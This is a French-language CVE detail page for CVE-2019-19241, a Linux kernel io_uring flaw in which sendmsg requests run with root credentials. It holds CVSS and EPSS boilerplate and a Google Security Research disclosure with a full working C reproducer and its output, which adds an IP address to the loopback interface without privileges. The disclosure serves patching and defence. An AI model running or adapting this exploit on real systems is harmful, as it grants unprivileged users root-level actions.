CVE-2019-19241 : Détail

CVE-2019-19241

7.8
/
Haute
0.19%V3
Local
2019-12-17
18h02 +00:00
2020-03-02
19h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

In the Linux kernel before 5.4.2, the io_uring feature leads to requests that inadvertently have UID 0 and full capabilities, aka CID-181e448d8709. This is related to fs/io-wq.c, fs/io_uring.c, and net/socket.c. For example, an attacker can bypass intended restrictions on adding an IPv4 address to the loopback interface. This occurs because IORING_OP_SENDMSG operations, although requested in the context of an unprivileged user, are sometimes performed by a kernel worker thread without considering that context.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 47779

Date de publication : 2019-12-15 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Since commit 0fa03c624d8f ("io_uring: add support for sendmsg()", first in v5.3), io_uring has support for asynchronously calling sendmsg(). Unprivileged userspace tasks can submit IORING_OP_SENDMSG submission queue entries, which cause sendmsg() to be called either in syscall context in the original task, or - if that wasn't able to send a message without blocking - on a kernel worker thread. The problem is that sendmsg() can end up looking at the credentials of the calling task for various reasons; for example: - sendmsg() with non-null, non-abstract ->msg_name on an unconnected AF_UNIX datagram socket ends up performing filesystem access checks - sendmsg() with SCM_CREDENTIALS on an AF_UNIX socket ends up looking at process credentials - sendmsg() with non-null ->msg_name on an AF_NETLINK socket ends up performing capability checks against the calling process When the request has been handed off to a kernel worker task, all such checks are performed against the credentials of the worker - which are default kernel creds, with UID 0 and full capabilities. To force io_uring to hand off a request to a kernel worker thread, an attacker can abuse the fact that the opcode field of the SQE is read multiple times, with accesses to the struct msghdr in between: The attacker can first submit an SQE of type IORING_OP_RECVMSG whose struct msghdr is in a userfaultfd region, and then, when the userfaultfd triggers, switch the type to IORING_OP_SENDMSG. Here's a reproducer for Linux 5.3 that demonstrates the issue by adding an IPv4 address to the loopback interface without having the required privileges for that: ========================================================================== $ cat uring_sendmsg.c #define _GNU_SOURCE #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <err.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/ioctl.h> #include <linux/rtnetlink.h> #include <linux/if_addr.h> #include <linux/io_uring.h> #include <linux/userfaultfd.h> #include <linux/netlink.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) static int uffd = -1; static struct iovec *iov; static struct iovec real_iov; static struct io_uring_sqe *sqes; static void *uffd_thread(void *dummy) { struct uffd_msg msg; int res = SYSCHK(read(uffd, &msg, sizeof(msg))); if (res != sizeof(msg)) errx(1, "uffd read"); printf("got userfaultfd message\n"); sqes[0].opcode = IORING_OP_SENDMSG; union { struct iovec iov; char pad[0x1000]; } vec = { .iov = real_iov }; struct uffdio_copy copy = { .dst = (unsigned long)iov, .src = (unsigned long)&vec, .len = 0x1000 }; SYSCHK(ioctl(uffd, UFFDIO_COPY, &copy)); return NULL; } int main(void) { // initialize uring struct io_uring_params params = { }; int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params)); unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING)); sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES)); // prepare userfaultfd-trapped IO vector page iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)); uffd = SYSCHK(syscall(SYS_userfaultfd, 0)); struct uffdio_api api = { .api = UFFD_API, .features = 0 }; SYSCHK(ioctl(uffd, UFFDIO_API, &api)); struct uffdio_register reg = { .mode = UFFDIO_REGISTER_MODE_MISSING, .range = { .start = (unsigned long)iov, .len = 0x1000 } }; SYSCHK(ioctl(uffd, UFFDIO_REGISTER, &reg)); pthread_t thread; if (pthread_create(&thread, NULL, uffd_thread, NULL)) errx(1, "pthread_create"); // construct netlink message int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE)); struct sockaddr_nl addr = { .nl_family = AF_NETLINK }; struct { struct nlmsghdr hdr; struct ifaddrmsg body; struct rtattr opthdr; unsigned char addr[4]; } __attribute__((packed)) msgbuf = { .hdr = { .nlmsg_len = sizeof(msgbuf), .nlmsg_type = RTM_NEWADDR, .nlmsg_flags = NLM_F_REQUEST }, .body = { .ifa_family = AF_INET, .ifa_prefixlen = 32, .ifa_flags = IFA_F_PERMANENT, .ifa_scope = 0, .ifa_index = 1 }, .opthdr = { .rta_len = sizeof(struct rtattr) + 4, .rta_type = IFA_LOCAL }, .addr = { 1, 2, 3, 4 } }; real_iov.iov_base = &msgbuf; real_iov.iov_len = sizeof(msgbuf); struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = iov, .msg_iovlen = 1, }; // send netlink message via uring sqes[0] = (struct io_uring_sqe) { .opcode = IORING_OP_RECVMSG, .fd = sock, .addr = (unsigned long)&msg }; ((int*)(sq_ring + params.sq_off.array))[0] = 0; (*(int*)(sq_ring + params.sq_off.tail))++; int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0)); printf("submitted %d, getevents done\n", submitted); int cq_tail = *(int*)(cq_ring + params.cq_off.tail); printf("cq_tail = %d\n", cq_tail); if (cq_tail != 1) errx(1, "expected cq_tail==1"); struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes); if (cqe->res < 0) { printf("result: %d (%s)\n", cqe->res, strerror(-cqe->res)); } else { printf("result: %d\n", cqe->res); } } $ gcc -Wall -pthread -o uring_sendmsg uring_sendmsg.c $ ip addr show dev lo 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever $ ./uring_sendmsg got userfaultfd message submitted 1, getevents done cq_tail = 1 result: 32 $ ip addr show dev lo 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet 1.2.3.4/32 scope global lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever $ ========================================================================== The way I see it, the easiest way to fix this would probably be to grab a reference to the caller's credentials with get_current_cred() in io_uring_create(), then let the entry code of all the kernel worker threads permanently install these as their subjective credentials with override_creds(). (Or maybe commit_creds() - that would mean that you could actually see the owning user of these threads in the output of something like "ps aux". On the other hand, I'm not sure how that impacts stuff like signal sending, so override_creds() might be safer.) It would mean that you can't safely use an io_uring instance across something like a setuid() transition that drops privileges, but that's probably not a big problem? While the security bug was only introduced by the addition of IORING_OP_SENDMSG, it would probably be beneficial to mark such a change for backporting all the way to v5.1, when io_uring was added - I think e.g. the SELinux hook that is called from rw_verify_area() has so far always attributed all the I/O operations to the kernel context, which isn't really a security problem, but might e.g. cause unexpected denials depending on the SELinux policy.

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 5.4.2

Références

https://usn.ubuntu.com/4284-1/
Tags : vendor-advisory, x_refsource_UBUNTU